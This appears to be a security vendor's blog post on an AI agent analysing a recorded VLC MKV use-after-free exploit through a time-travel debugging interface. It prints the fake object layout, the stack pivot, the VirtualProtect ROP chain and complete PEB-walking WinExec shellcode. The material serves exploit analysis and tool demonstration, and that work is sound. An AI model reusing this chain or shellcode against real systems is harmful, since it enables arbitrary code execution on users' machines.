VLC Media Player MKV Exploit Analysis

TL;DR: This post walks through the analysis of a real-world VLC Media Player exploit using MCP-based time-travel debugging. Given a 4.78-billion-instruction CPU trace and a single prompt, an AI agent reconstructed the full kill chain autonomously , identifying a use-after-free in VLC's MKV demuxer and tracing it through a six-step exploitation chain: heap spray via linked-segment preloading, fake vtable hijack, stack pivot, a 2-gadget ROP chain callingVirtualProtect, andWinExecshellcode that launches a plantedcalc.exe. We contrast this trace-driven approach with the tools, time, and guesswork a traditional analysis would require, and we detail the methodology the agent used to navigate the trace , from orienting on payload markers to correlating memory writes across 4.5 million instructions. The exploit itself relies on three attacker-placed files (poc.mkv,auxi.mkv,calc.exe) and leverages VLC'smkv-preload-local-dirfeature to trigger the vulnerability without user interaction beyond opening a single file.
This post is part of a series on MCP-based time-travel debugging for security analysis. In the first installment, we used the same tool to solve AngryPangolin v2, a CTF challenge that splits its validation logic between a user-mode application and a custom Windows kernel driver communicating through shared memory. The agent cracked the 10-step cipher chain in 6 minutes by tracing backward from the decision point and correlating memory across privilege rings. Here we apply the same approach to a real-world exploit in a widely deployed application.
If you would like to discuss this work with us, reach out on our Slack at slack.eshard.com.
What MCP Time Travel Debugging Makes Possible
The analysis detailed in the MCP Trace-Driven Analysis section was performed entirely by an AI agent querying a recorded CPU execution trace through an MCP interface, using only a single initial prompt with no intermediate human guidance or prompt refinement.
You have access to an MCP that provides a trace of a VLC exploit. Your task is to understand and explain how this exploit worked using the provided MCP. Explain your steps. At the end, provide a write-up about how the exploit worked and how you solved it.
With just this instruction, the agent navigated the trace autonomously , no breakpoints were set, no symbols were loaded, and no source code was consulted. Manual checks were performed afterward to verify the ground truth. Specifically, these facts were confirmed independently of the agent's analysis:
- The use-after-free vulnerability class and its location in VLC's MKV demuxer
- The three attacker files and their roles (
poc.mkvtrigger,auxi.mkvheap spray, plantedcalc.exe) - The heap spray delivery via
mkv-preload-local-dirat address0x40000000 - The key transition IDs (object construction at ~3,986,668,954, overwrite at ~3,986,760,349, dangling pointer use at ~3,991,144,094)
- The 2-gadget ROP chain structure and the pre-pivot
r8parameter inheritance - The
VirtualProtectcall and itsNtProtectVirtualMemorysyscall trampoline - The
WinExecshellcode disassembly - The malicious
calc.exepath resolution via WinExec's search order - The framebuffer capture confirming the dialog was displayed
Tracing the kill chain backward from the observable effect
Traditional debugging starts at the vulnerability and steps forward, hoping to reproduce the crash. Here the agent started at the payload, calc.exe spawning at transition ~4,437M, and walked backward through the trace to find the WinExec call, the ROP chain, the stack pivot, the fake vtable hijack, and the use-after-free. Every step had a concrete transition ID linking cause to effect.
Correlating memory writes across time
The agent used search_memory_accesses to find every instruction that ever wrote to the freed MKV demuxer C++ object. This revealed the exact sequence: construction (vtable set), free, malloc reuse, memcpy overwrite with attacker data. In a live debugger these events are ephemeral; in the trace they are a permanent, queryable record.
Navigating a 4.78-billion-instruction trace without prior knowledge
The agent had no symbols (symbol support is planned for a future release but is not yet available to AI agents), no source, and no familiarity with VLC's codebase. It searched for strings ("calc", "matroska", "mkv-preload-local-dir"), followed pointer chains through memory, and disassembled code at arbitrary addresses. The MCP interface gave it random access to any point in the trace by transition ID, address, or string content.
Reconstructing the exploit's data flows
By reading memory snapshots at specific contexts and cross-referencing them with instruction-level register values, the agent reconstructed how attacker-controlled data flowed from the MKV file into heap memory, through the fake vtable chain, onto the fake stack as a ROP chain, and finally into executable shellcode.
Each data transformation was verified by reading both the instruction that produced it and the memory state that resulted.
Framebuffer verification
The agent captured the screen at the moment the payload executed, confirming the "We've got you!" dialog was actually displayed rather than inferred from API calls alone.

What a Traditional Analysis Would Require
Without a time-travel debugger, analyzing this exploit would involve several independent tools stitched together manually, with significant gaps that the analyst must bridge through guesswork, static reverse engineering, and luck.
Reproducing the vulnerability
The exploit requires three files placed in specific locations and a VLC build compiled without Control Flow Guard (CFG), which would block the indirect call hijack at the virtual dispatch site. The use-after-free depends on a precise heap state: triggering it requires malloc to return the exact address of the freed object, a behavior the Windows heap manager typically fulfills for same-size allocations from the low-fragmentation heap but which is sensitive to allocation ordering and system load. An analyst attempting to reproduce the crash could need multiple runs before the exploit fires, with no guarantee the same conditions reproduce on each attempt.
Identifying the root cause
With a live debugger (WinDbg, x64dbg), the analyst would see the crash at the corrupted virtual call site. From there, they could inspect registers and dump the corrupted object, revealing the 0x41 padding pattern.
But identifying what freed the object is where the difficulty lies. One approach is Application Verifier with PageHeap, though its heap layout changes may prevent the exploit from reproducing at all. Alternatives include WinDbg's own TTD to query backward from the crash, or setting conditional breakpoints on HeapFree / RtlFreeHeap filtered by allocation size , tedious to work through (the free sits ~4.5 million instructions before the crash) but carries zero heap disruption. Each of these requires the analyst to know the target address or size beforehand, which the trace provides upfront.
In the trace, a single search_memory_accesses(<address>) call returns every write to that address, capturing the object's entire lifecycle in one result set: the original construction (vtable written), the free (the low-fragmentation heap writes freelist metadata into the first bytes), and the memcpy overwrite with attacker data.
Reconstructing the ROP chain and shellcode
This part is the most tractable with traditional tools. The analyst can dump the fake stack from the attacker-controlled memory region, disassemble the shellcode, and identify the ROP gadgets using a tool like IDA Pro, Ghidra, Binary Ninja, or radare2 with the VLC binary. The ROP gadget addresses are relative to VLC's base, which is trivially available in any debugging session or crash dump via WinDbg's lm (list modules) command.
Linking the heap spray to the file
The analyst might identify the heap spray at 0x40000000 by searching for the shellcode pattern, but linking this data to auxi.mkv specifically requires understanding how the data arrived. Without memory access history, they would need to trace the data flow through VLC's MKV demuxer, understanding how EBML elements are read, buffered, and copied into heap allocations.
While VLC is open source, the MKV demuxer module spans thousands of lines of C++ with complex EBML parsing logic, making this a substantial source-analysis effort.
Discovering the mkv-preload-local-dir trigger
The command-line invocation (--mkv-preload-local-dir) is not obvious from the crash alone. An analyst would need to notice auxi.mkv's file access pattern (via Process Monitor) and correlate it with VLC's configuration, or search the MKV demuxer source for preloading logic. The trace confirms the feature is active by showing the associated string constants accessed near the file-open transition.
Tools a traditional analyst would use
The table below summarizes an example set of tools an analyst might assemble to conduct this analysis manually, though a more optimal or streamlined combination likely exists.
Even with all these tools, the analysis would take days and would rely on the analyst's familiarity with VLC internals, Windows heap management, and x86_64 exploitation techniques. The TTD trace collapses this into a single, queryable artifact.
The analysis in this post was conducted on a single CPU execution trace recorded from a real exploitation run. Rather than assembling the toolkit described in the previous section, the agent queried this recording through the MCP interface. From here onward, we follow the AI agent's own analysis of the trace, step by step, with no intermediate human guidance or prompt refinement.
MCP Trace-Driven Analysis
Environment
Exploit Files
The attacker placed three files on the target system.
With these three files in place, the vulnerability triggers as follows.
The Vulnerability: Use-After-Free in MKV Demuxer
Root Cause
VLC's MKV demuxer allocates a C++ object (with a vtable at 0x523979b0) during segment parsing. When processing linked segments , triggered by the mkv-preload-local-dir feature , this object is freed but a dangling pointer to it persists in the demuxer's internal data structures.
Later, a new malloc(0xfa0) call during MKV element processing (case 0xe in a switch statement at 0x52280e40) reuses the same heap address (<address>). The demuxer then copies 0x180 bytes of attacker-controlled data from the MKV file into this allocation via memcpy, filling it with a carefully crafted fake object.
The Corrupted Object
The memory at <address> after the overwrite.
0x000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
... (0x41 padding) ...
0x030: 40 00 00 40 00 00 00 00 <- array start ptr -> attacker memory
0x038: 40 00 01 40 00 00 00 00 <- array end ptr -> attacker memory
... (0x41 padding) ...
0x168: 00 04 00 40 00 00 00 00 <- fake vtable chain -> 0x40000400
0x170: 40 00 00 40 00 00 00 00 <- ptr -> attacker memory
The 0x41 padding is the classic overflow marker; the surgical pointer insertions at offsets 0x30, 0x38, 0x168, and 0x170 redirect execution into attacker-controlled memory at 0x40000000.
Trigger Timeline
Once the corrupted object is dereferenced, the exploitation chain unfolds in six steps.
Exploitation Chain
Step 1: Heap Spray via MKV Data (transition ~3,985M)
When auxi.mkv is memory-mapped at 0x40000000 via the mkv-preload-local-dir feature, the OS paging mechanism populates the region with attacker-controlled data (no CPU memcpy writes). The spray provides the following layout.
- A fake stack with the ROP chain (at offset
0x400) - A fake vtable/pointer chain (at offset
0x3e8–0x3f8) - Shellcode (at offset
0x540)
Step 2: Virtual Function Call Hijack (transition 3,991,144,119)
The demuxer code iterates over tracks/segments and dereferences the dangling pointer.
mov rcx, [rsi+0x168] ; rsi=<address>, reads 0x40000400 (attacker data)
mov r8, [rcx+0x8] ; follows fake pointer chain
mov r10, [r8+0x58] ; r10 = 0x400003e8 (fake vtable)
call qword ptr [r10+0x10] ; calls [0x400003f8] = 0x4037ac (ROP gadget!)
At this point, eax = 0x40000400 (also derived from the corrupted object's data), which is critical for the next step.
Step 3: Stack Pivot (transition 3,991,144,120)
The first ROP gadget at 0x4037ac swaps the stack pointer into attacker memory.
xchg esp, eax ; eax=0x40000400 -> rsp is now in attacker memory!
Before: rsp = 0x874fd08 (legitimate stack)
After: rsp = 0x40000400 (attacker-controlled fake stack)
The remaining instructions of this gadget (rol bl, 0x90, cmp [rcx], 0x5a4d, xor eax, eax, ret) are harmless side-effects; the ret pops the next ROP address from the fake stack.
Step 4: ROP Chain , VirtualProtect (transitions 3,991,144,125–3,991,144,147)
The fake stack at 0x40000400 contains a two-gadget chain that sets rcx and rdx. The third x64 parameter (r8 = flNewProtect) is not set by the ROP chain , it was already loaded at transition #3991144116 by the hijacked call site before the stack pivot:
mov r8, [rcx+0x8] ; rcx = 0x40000400, reads [0x40000408] = 0x40000040
This value (0x40000040 = PAGE_EXECUTE_READWRITE | PAGE_TARGETS_INVALID) survives through the stack pivot unchanged. The kernel's NtProtectVirtualMemory handler masks the high bits (and ecx, 0x1fffffff), yielding the effective protection 0x40. The ROP chain only needs to set the first two arguments , r8 and r9 are inherited from the pre-pivot context.
This calls VirtualProtect(0x40000040, 0x1000, 0x40000040) , the kernel masks 0x40000040 to PAGE_EXECUTE_READWRITE (0x40). The IAT entry at 0x412598 resolves to 0x7ffa923f3a90, which trampolines into NtProtectVirtualMemory (syscall 0x50).
Step 5: Shellcode Execution (transition 3,991,148,094+)
With memory marked executable, the shellcode at 0x40000540 runs.
and sp, 0xfff0 ; align stack
push 0x60
pop rdx ; rdx = 0x60
push 0x636c6163 ; push "calc"
push rsp
pop rcx ; rcx -> "calc" string
sub rsp, rdx ; allocate stack space
; --- PEB walk to find kernel32.dll ---
mov rsi, gs:[rdx] ; TEB -> PEB (gs:[0x60])
mov rsi, [rsi+0x18] ; PEB->Ldr
mov rsi, [rsi+0x10] ; InLoadOrderModuleList
lodsq ; 1st module entry
mov rsi, [rax] ; 2nd module entry (kernel32.dll)
mov rdi, [rsi+0x30] ; DllBase
; --- Export table walk to find WinExec ---
add edx, [rdi+0x3c] ; PE header (e_lfanew)
mov ebx, [rdi+rdx+0x28] ; Export directory RVA
mov esi, [rdi+rbx+0x20] ; AddressOfNames RVA
add rsi, rdi
mov edx, [rdi+rbx+0x24] ; AddressOfNameOrdinals RVA
.loop:
movzx ebp, word ptr [rdi+rdx] ; ordinal
lea edx, [rdx+2] ; next ordinal
lodsd ; name RVA
cmp dword ptr [rdi+rax], 0x456e6957 ; "WinE"
jnz .loop
; --- Resolve and call WinExec ---
mov esi, [rdi+rbx+0x1c] ; AddressOfFunctions
add rsi, rdi
mov esi, [rsi+rbp*4] ; WinExec RVA
add rdi, rsi ; absolute address
cdq ; rdx = 0 (SW_HIDE)
call rdi ; WinExec("calc", SW_HIDE)
; --- Clean exit ---
xor rcx, rcx ; exit code = 0
mov rax, 0x412680
call [rax] ; ExitProcess(0) via IAT
Step 6: Payload Execution (transition ~4,031M+)
WinExec("calc") searches for the executable. Windows finds C:\Program Files\VideoLAN\VLC\calc.exe before the real C:\Windows\System32\calc.exe, because the first step in WinExec's search order is the directory from which the application loaded (VLC's install directory), which precedes the system directory.
The malicious calc.exe (pid 1320, parent pid 2620 = VLC) displays a MessageBox that displays a message "We've got you".
The key addresses involved in the exploit.
Key Addresses
The agent followed this methodology to reconstruct the full chain.
Analysis Methodology
- Orient: Used
get_trace_overviewfor architecture and scale (4.78B transitions, x86_64, vlc.exe). Usedget_workflow("exploit")to load the EPOCH exploit methodology. Searched for payload markers ("calc", "poc", "matroska") to map the timeline. - Anchor on payload: Traced calc.exe process creation backward. Found calc.exe at pid=1320, ppid=2620 (vlc.exe) at transition ~4,437M. Found
C:\Program Files\VideoLAN\VLC\calc.exepath , a planted malicious binary, not the system calculator. - Find control flow hijack: Traced backward from the calc.exe creation to find shellcode at
0x40000540, then traced backward from the shellcode to find theretinstruction (transition ~3,991,148,093) that jumped to shellcode. - Decode ROP chain: Walked backward from the
retto find thexchg esp, eaxstack pivot (transition ~3,991,144,120) and the full ROP chain on the fake stack at0x40000400. Identified VirtualProtect call to mark shellcode executable. - Trace the vulnerability: Found the corrupted virtual call at MKV demuxer code (
0x52259627). Read memory at the corrupted object (<address>) to see the0x41overflow pattern with embedded pointers. Traced writes usingsearch_memory_accessesto identify object construction (vtable set to0x523979b0), object overwrite (memcpyof 0x180 bytes of attacker data), andmalloc(0xfa0)returning the same address , confirming heap reuse after free. - Link to MKV feature: Found
"mkv-preload-local-dir"and"Preload matroska files in the same directory to find linked segments"strings accessed right beforeauxi.mkvwas opened (transition ~3,985,467,895), confirming the linked-segment preloading feature is the attack surface.
The full attack flow, from user action to payload.
Attack Flow Diagram
User opens poc.mkv
|
v
VLC Matroska demuxer loads
|
v
mkv-preload-local-dir triggers ──> auxi.mkv auto-loaded
| |
v v
C++ object allocated at 0x3f40d20 Exploit data sprayed to 0x40000000
| |
v v
Object freed (dangling ptr persists) malloc reuses 0x3f40d20
| |
v v
Dangling ptr dereferenced ─────────> Attacker data interpreted as C++ object
|
v
Virtual call hijacked: call [r10+0x10] -> 0x4037ac
|
v
Stack pivot: xchg esp, eax (rsp -> 0x40000400)
|
v
ROP: pop rcx; pop rdx; jmp [VirtualProtect]
|
v
Shellcode at 0x40000540: WinExec("calc")
|
v
Malicious calc.exe in VLC dir executes
|
v
"We've got you!" dialog
Conclusion
This analysis demonstrates that an MCP-based time-travel debugging interface, combined with an AI agent, can reconstruct a complete exploit chain from a raw CPU execution trace with no prior knowledge of the target software. Given only a 4.78-billion-transition recording and a single prompt, the agent autonomously identified the vulnerability class (use-after-free), traced the heap reuse, decoded the ROP chain, disassembled the shellcode, and confirmed the payload execution , all without human guidance, source code, symbols, or a live debugging environment. The trace itself was the only input.
We also showed what the same analysis would require without a time-travel debugger: a patchwork of tools, non-trivial reproduction effort, and familiarity with Windows heap internals and VLC's MKV demuxer. The trace collapses this multi-day effort into a single, queryable artifact, accessible through a structured API that an AI agent can navigate autonomously.
